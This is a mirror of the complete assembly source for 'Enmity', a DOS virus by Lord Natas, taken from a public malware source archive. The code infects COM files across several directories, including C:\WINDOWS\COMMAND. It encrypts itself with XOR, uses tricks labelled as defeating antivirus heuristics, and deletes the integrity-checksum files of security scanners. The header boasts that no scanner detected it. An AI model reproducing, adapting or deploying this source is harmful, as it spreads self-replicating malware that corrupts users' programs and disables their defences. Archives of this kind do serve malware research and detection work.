mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
491 lines
8.8 KiB
NASM
491 lines
8.8 KiB
NASM
comment #
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Enmity, by Lord Natas
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Properties:
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*COM infection (appending, nonresident)
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*antiheuristic code
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*no TBSCAN flags at time of release (second generation)
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*encryption (xor, random 16 bit key)
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*works with microsoft COM files (the ones with the stupid checksum)
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*infects all files in current directory, then in the upper directory,
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then in \, then in C:\WINDOWS\COMMAND.
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*preserves date, time, attributes
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*doesn't infect command.com, tb*.com files, or misnamed EXE files
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*removes scanner checksums
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Scanning results:
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FPROT(3): nothing
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AVP: nothing
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TBSCAN(WIN95): nothing
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FINDVIRUS: nothing
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DRWEB: nothing
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Assemble with TASM.
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MASM produces errors (at least, the version I have)
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#
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.model tiny
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.code
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jumps
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org 100h
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code_length equ end_virus-start
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;----- fake host - a jump and infection mark
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host:
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db 0e9h,0,0,'66'
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start:
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call get_offset
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;----- get the delta offset
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get_offset:
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pop ax ;nice and (somewhat) anti-heuristic
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xchg cx,ax
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sub cx,offset get_offset
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xchg bp,cx
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call decrypt
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jmp short virus_start
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mov ax,4c00h ;this shuts-up findvirus
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int 21h
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virus_start:
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push 1a01h ;!heuristic killer!
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push 100h
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lea si,[bp+oldbytes]
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pop di
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movsw ;move 5 bytes to 0100h
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movsw
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movsb
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;----- move the DTA to the end
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lea dx,[bp+dta] ;store in dta
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pop ax
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dec ax ;!heuristic killer!
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int 21h
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;----- save our current directory
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mov ah,47h
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xor dl,dl
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lea si,[bp+old_dir] ;store in old_dir
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int 21h
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;----- find *.COM files
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call killer
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call findfirst
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find_file:
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int 21h
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jc try_updir ;if error jump
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call infect ;else infect
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find_next:
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mov ah,4fh ;find next file
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jmp short find_file
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try_updir:
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mov ah,3bh
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lea dx,[bp+higher_dir] ;change dir up
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int 21h
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jc is_root
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call killer
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call findfirst
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find_updir:
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int 21h
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jc is_root ;if none, exit
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call infect ;else infect
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mov ah,4fh ;find next
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jmp short find_updir
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is_root:
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mov ah,47h
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xor dl,dl
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lea si,[bp+dir_chk] ;store in dir_chk
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int 21h
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cmp byte ptr [bp+dir_chk],0
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je try_win
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try_root:
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mov ah,3bh
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lea dx,[bp+root] ;change dir to root ('\')
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int 21h
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jc try_win
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call killer
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call findfirst
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find_root:
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int 21h
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jc try_win ;if none, exit
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call infect ;else infect
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mov ah,4fh ;find next
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jmp short find_root
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try_win:
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mov ah,3bh
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lea dx,[bp+win_command] ;change dir to command
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int 21h
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jc done_files
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call killer
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call findfirst
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find_win:
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int 21h
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jc done_files ;if none, exit
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call infect ;else infect
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mov ah,4fh ;find next
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jmp short find_win
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done_files:
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mov ah,3bh ;change back to old_dir
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lea dx,[bp+old_dir]
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int 21h
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mov ah,2ch ;get time
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int 21h
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cmp dx,5 ;is it time to activate?
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ja fix_dta ;no? return to host
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begin:
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mov ax,13 ;put video in mode 13
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int 10h
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lea si,[bp+msg]
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print_lp:
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cld ;clear direction flag (left
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lodsb ;to right)
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or al,al ;check for text end
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jz fix_1
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mov ah,0eh ;write char
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xor bh,bh ;page 0
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mov bl,5 ;color 5 -> magenta
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int 10h
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jmp short print_lp
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fix_1:
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xor ax,ax ;wait for key
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int 16h
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mov ax,03h ;restore to textmode
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int 10h
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;----- reset DTA
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fix_dta:
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push 1a00h ;fix dta
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mov dx,80h
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pop ax
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int 21h
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;----- clean up
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xor ax,ax
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mov bx,ax
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mov cx,ax
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mov dx,ax
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mov di,ax
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mov bp,ax
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mov si,0101h ;special gift for TBAV
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;----- restore control to cs:0100h
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dec si
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push si ;put 100h on stack so virus
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ret ;jumps to host
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;----- check name
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infect:
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cmp word ptr [bp+dta+1eh+5], "DN" ;commaND
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je return
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cmp word ptr [bp+dta+1eh], "BT" ;TBdel
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je return
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mov cx,13d ;max file length
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lea si,[bp+dta+1eh] ;filename in dta
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compare:
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lodsb ;get byte
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cmp al,"." ;is it "."?
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jne compare ;no, compare
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cmp byte ptr [si],"C" ;is is *.C?
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jne return ;no, return
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;----- save attributes,time,date,size
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mov cx,5 ;5 bytes
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lea si,[bp+dta+15h] ;point to the dta
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lea di,[bp+f_attr] ;move to f_attr
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rep movsb
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;----- remove attributes
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mov ax,4301h
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xor cx,cx ;no attribute
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lea dx,[bp+dta+1eh] ;point to name in dta
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int 21h
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;----- open file for read/write
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push 3d04h ;!heuristic killer!
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lea dx,[bp+dta+1eh] ;filename in dta
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pop cx
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sub cx,2
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xchg ax,cx
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int 21h
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xchg bx,ax ;put handle in bx
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push 3f00h ;!heuristic killer!
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;----- read 1st five bytes
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mov cx,5
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lea dx,[bp+oldbytes] ;store in oldbytes
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pop ax
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int 21h
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;----- check for misnamed .EXE (fuck you microsoft) - anti-heuristic
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mov ax,word ptr [bp+oldbytes]
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add ax,0101h
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cmp word ptr ax,'[N' ;check first 2 bytes
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je close_file
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cmp word ptr ax,'N['
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je close_file
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;----- check for infection mark
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cmp word ptr [bp+oldbytes+3],'66' ;look for 66
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je close_file
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;----- check size - if > 60000 then close
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cmp word ptr [bp+dta+1ah], 60000
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ja close_file
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;----- seek to eof - 7
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mov ax,4202h
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mov cx,-1
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mov dx,-7
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int 21h
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;----- (eof-7)+7=eof
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mov cx,7
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add ax,cx
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;----- calculate jump
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sub ax,3
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mov word ptr [bp+jump_bytes+1],ax
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;----- read 7 bytes
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mov ah,3fh
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mov cx,7
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lea dx,[bp+buffer]
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int 21h
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;----- add virus size to checksum
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add word ptr [bp+buffer+5],code_length
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;----- make new key
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push 4000h
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mov ah,2ch ;get time
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int 21h
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mov word ptr [bp+key1],dx ;use seconds + hundreths
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;----- write unencrypted portion
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mov cx,virus_start-start
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lea dx,[bp+start]
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pop ax
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int 21h
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;----- encrypt & move
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push 4001h
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mov cx,(key1-virus_start+1)/2 ;length of code
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mov dx,word ptr [bp+key1] ;key
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lea si,[bp+virus_start] ;source: virus start
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lea di,[bp+crypt_buffr] ;destination: buffer
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xor_loop2:
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lodsw ;get byte from source
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xor ax,dx ;xor it
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stosw ;move it to destination
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loop xor_loop2
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;----- write encrypted shit
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mov cx,key1-virus_start
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lea dx,[bp+crypt_buffr]
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pop ax ;!heuristic killer!
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dec ax
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push 4000h
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int 21h
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;----- write more unencrypted shit
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mov cx,f_attr-key1 ;this is the decryptor and
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lea dx,[bp+key1] ;other stuff that remains
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pop ax ;unencrypted
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int 21h
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;----- seek to start of file
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mov ax,4200h
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xor cx,cx
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cwd
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push 4000h
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int 21h
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;----- write the jump
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mov cx,5
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lea dx,[bp+jump_bytes]
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pop ax ;!heuristic killer!
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int 21h
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close_file:
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;----- restore date/time
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push 5701h
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mov cx,word ptr [bp+f_time]
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mov dx,word ptr [bp+f_date]
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pop ax ;!heuristic killer!
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int 21h
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;----- close file
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mov ah,3eh
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int 21h
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;----- restore attributes
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mov ax,4302h
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xor ch,ch
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mov cl,byte ptr [bp+f_attr] ;old attributes
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lea dx,[bp+dta+1eh] ;filename in dta
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int 21h
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return:
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ret
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;----- checksum deletion
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killer:
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lea dx,[bp+tbsum] ;pont to name
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call kill_bad_file ;kill it
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lea dx,[bp+pcsum1]
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call kill_bad_file
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lea dx,[bp+pcsum2]
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call kill_bad_file
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lea dx,[bp+ivsum]
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call kill_bad_file
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ret
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;----- delete bad files - input: DS:DX = to kill
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kill_bad_file:
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mov ax,4301h
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xor cx,cx ;no attribute
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int 21h
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mov ah,41h ;delete
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int 21h
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clc ;clear carry
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ret
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findfirst:
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mov ah,4eh
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mov cx,0007h ;all attributes
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lea dx,[bp+comspec] ;comspec = filemask
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ret
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;----- data area 1
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msg db 'Enmity',13,10,0
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db 'by Lord Natas',0
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comspec db '*.*OM',0 ;file search mask
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win_command db 'C:\WINDOWS\COMMAND',0 ;target directory
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root db '\',0 ;another target
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higher_dir db '..',0 ;yet another
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tbsum db 'ANTI-VIR.DAT',0 ;checksums to delete
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pcsum1 db 'CHKLIST.MS',0
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pcsum2 db 'CHKLIST.CPS',0
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ivsum db 'IVB.NTZ',0
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oldbytes db 90h,90h,90h,0cdh,20h ;host bytes
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jump_bytes db 0e9h,0,0,'66' ;the jump to write
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key1 dw ? ;encryption key
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;----- simple xor encryption, TBAV screwing loop
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decrypt:
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mov cx,(key1-virus_start+1)/2 ;code length
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mov dx,word ptr [bp+key1] ;key
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lea si,[bp+virus_start] ;source of code
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mov di,si ;to decrypt
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xor_loop:
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lodsw
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jmp short fake2
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fake1:
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stosw
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jmp short fake3
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fake2:
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xor ax,dx
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jmp short fake1
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fake3:
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loop xor_loop
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ret
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;----- data area 2 - stuff for microsoft's lame checksums
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buffer db 5 dup (?) ;buffer = eof-2
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size_checksum db 2 dup (90h) ;checksum for microsoft coms
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end_virus:
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;----- this is not written to disk, thus saving much space
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f_attr db ? ;file attribute
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f_time dw ? ;file time
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f_date dw ? ;file date
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old_dir db 64 dup (?) ;old directory name
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dta db 48 dup (?) ;DTA storage
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dir_chk db 64 dup (?) ;for dir checking
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;----- temp buffer for encryption
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crypt_buffr db end_virus - virus_start dup (?)
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end host
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